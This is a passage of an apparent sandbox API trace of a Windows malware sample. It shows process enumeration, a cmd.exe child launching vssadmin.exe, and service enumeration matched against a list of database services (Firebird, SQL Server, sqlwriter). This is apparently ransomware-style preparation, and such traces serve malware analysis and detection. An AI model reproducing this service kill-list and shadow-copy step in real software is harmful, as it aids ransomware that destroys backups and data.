hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0135.626] lstrlenW (lpString="dosesugar.exe") returned 13 [0135.626] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0135.627] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0135.627] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0135.628] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0135.628] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0135.628] lstrlenW (lpString="nonprofit top.exe") returned 17 [0135.628] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0135.629] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0135.629] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0135.630] lstrlenW (lpString="accused.exe") returned 11 [0135.630] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0135.630] lstrlenW (lpString="governance.exe") returned 14 [0135.631] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0135.631] lstrlenW (lpString="old.exe") returned 7 [0135.631] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0135.632] lstrlenW (lpString="xi cg.exe") returned 9 [0135.632] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0135.633] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0135.633] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0135.633] lstrlenW (lpString="burlington.exe") returned 14 [0135.633] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0135.634] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0135.634] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0135.635] lstrlenW (lpString="buildings.exe") returned 13 [0135.635] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0135.635] lstrlenW (lpString="predictions_took.exe") returned 20 [0135.635] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0135.636] lstrlenW (lpString="carry_dns.exe") returned 13 [0135.636] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0135.637] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0135.637] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.638] lstrlenW (lpString="svchost.exe") returned 11 [0135.638] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0135.638] lstrlenW (lpString="sppsvc.exe") returned 10 [0135.638] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.639] lstrlenW (lpString="svchost.exe") returned 11 [0135.639] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0135.640] lstrlenW (lpString="msiexec.exe") returned 11 [0135.640] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0135.640] lstrlenW (lpString="cmd.exe") returned 7 [0135.640] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.641] lstrlenW (lpString="conhost.exe") returned 11 [0135.641] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0135.642] lstrlenW (lpString="vssadmin.exe") returned 12 [0135.642] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0135.643] lstrlenW (lpString="VSSVC.exe") returned 9 [0135.643] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.644] lstrlenW (lpString="svchost.exe") returned 11 [0135.644] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0135.645] lstrlenW (lpString="LogonUI.exe") returned 11 [0135.645] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0135.645] CloseHandle (hObject=0x22c) returned 1 [0135.645] Sleep (dwMilliseconds=0x1f4) [0137.536] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ead0 [0137.536] EnumServicesStatusExW (in: hSCManager=0x52ead0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0137.536] GetLastError () returned 0xea [0137.536] EnumServicesStatusExW (in: hSCManager=0x52ead0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x52ee58, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x52ee58, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0137.537] CloseServiceHandle (hSCObject=0x52ead0) returned 1 [0137.537] lstrlenW (lpString="Appinfo") returned 7 [0137.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0137.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0137.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0137.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0137.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0137.537] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0137.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0137.537] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0137.537] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0137.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0137.537] lstrlenW (lpString="AudioSrv") returned 8 [0137.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0137.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0137.537] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0137.537] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0137.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0137.537] lstrlenW (lpString="BFE") returned 3 [0137.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0137.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0137.538] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0137.538] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0137.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0137.538] lstrlenW (lpString="CryptSvc") returned 8 [0137.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0137.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0137.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0137.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0137.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0137.538] lstrlenW (lpString="CscService") returned 10 [0137.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0137.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0137.538] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0137.538] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0137.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0137.538] lstrlenW (lpString="DcomLaunch") returned 10 [0137.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0137.538] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0137.538] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0137.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0137.538] lstrlenW (lpString="Dhcp") returned 4 [0137.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0137.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0137.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0137.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0137.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0137.538] lstrlenW (lpString="Dnscache") returned 8 [0137.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0137.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0137.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0137.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0137.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0137.539] lstrlenW (lpString="DPS") returned 3 [0137.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0137.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0137.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0137.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0137.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0137.539] lstrlenW (lpString="eventlog") returned 8 [0137.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0137.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0137.539] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0137.539] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0137.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0137.539] lstrlenW (lpString="EventSystem") returned 11 [0137.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0137.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0137.539] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0137.539] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0137.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0137.539] lstrlenW (lpString="FontCache") returned 9 [0137.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0137.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0137.539] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0137.539] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0137.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0137.539] lstrlenW (lpString="gpsvc") returned 5 [0137.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0137.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0137.539] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0137.539] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0137.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0137.540] lstrlenW (lpString="iphlpsvc") returned 8 [0137.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0137.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0137.540] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0137.540] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0137.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0137.540] lstrlenW (lpString="LanmanServer") returned 12 [0137.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0137.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0137.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0137.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0137.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0137.540] lstrlenW (lpString="LanmanWorkstation") returned 17 [0137.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0137.540] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0137.540] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0137.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0137.540] lstrlenW (lpString="lmhosts") returned 7 [0137.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0137.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0137.540] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0137.540] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0137.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0137.540] lstrlenW (lpString="MMCSS") returned 5 [0137.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0137.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0137.540] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0137.540] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0137.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0137.540] lstrlenW (lpString="MpsSvc") returned 6 [0137.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0137.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0137.541] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0137.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0137.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0137.541] lstrlenW (lpString="Netman") returned 6 [0137.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0137.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0137.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0137.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0137.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0137.541] lstrlenW (lpString="netprofm") returned 8 [0137.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0137.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0137.541] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0137.541] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0137.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0137.541] lstrlenW (lpString="NlaSvc") returned 6 [0137.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0137.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0137.541] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0137.541] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0137.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0137.541] lstrlenW (lpString="nsi") returned 3 [0137.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0137.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0137.541] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0137.541] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0137.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0137.541] lstrlenW (lpString="PcaSvc") returned 6 [0137.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0137.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0137.541] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0137.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0137.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0137.542] lstrlenW (lpString="PlugPlay") returned 8 [0137.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0137.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0137.542] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0137.542] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0137.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0137.542] lstrlenW (lpString="Power") returned 5 [0137.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0137.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0137.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0137.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0137.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0137.542] lstrlenW (lpString="ProfSvc") returned 7 [0137.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0137.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0137.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0137.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0137.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0137.542] lstrlenW (lpString="RpcEptMapper") returned 12 [0137.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0137.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0137.542] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0137.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0137.542] lstrlenW (lpString="RpcSs") returned 5 [0137.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0137.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0137.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0137.542] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0137.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0137.542] lstrlenW (lpString="SamSs") returned 5 [0137.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0137.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0137.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0137.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0137.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0137.543] lstrlenW (lpString="Schedule") returned 8 [0137.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0137.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0137.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0137.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0137.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0137.543] lstrlenW (lpString="SENS") returned 4 [0137.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0137.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0137.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0137.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0137.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0137.543] lstrlenW (lpString="ShellHWDetection") returned 16 [0137.543] lstrcmpiW 